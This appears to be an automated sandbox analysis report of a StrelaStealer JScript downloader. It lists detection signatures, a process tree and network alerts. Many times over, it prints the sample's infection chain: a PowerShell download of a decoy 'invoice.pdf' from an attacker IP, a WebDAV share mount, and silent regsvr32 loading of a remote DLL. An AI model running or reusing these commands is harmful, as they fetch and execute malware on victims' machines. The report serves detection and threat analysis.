Edit tour

Windows Analysis Report
1632322273251213172.js

Overview

General Information

Sample name:	1632322273251213172.js
Analysis ID:	1588219
MD5:	7f583b578ed3734500651a2a291002db
SHA1:	03781c1a3de0fb4b42de195cee3dcc6927d7f284
SHA256:	49e14b6d48d8ff03a3bffa84992d9e1c25e232adde40fb2d26ff9ec721d159f8
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 2044 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 6400 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6524 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 5472 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 6036 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 3140 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7244 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2124 --field-trial-handle=1644,i,6776494652425393381,113694542257403772,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 6184 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 2756 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 6376 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 2044	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5472, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5472, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ProcessId: 2044, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 2756, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 6400, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ProcessId: 2044, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6400, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 5472, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2756, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 6376, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 6184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 2756, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1632322273251213172.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 2044, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14635194076754.dll, ProcessId: 6400, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:48:28.993830+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T22:48:26.372409+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1632322273251213172.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1632322273251213172.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 21:48:26 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 63 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: global traffic

TCP traffic: 192.168.2.4:49731 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.4:49730 -> 193.143.1.205:80

Source: global traffic

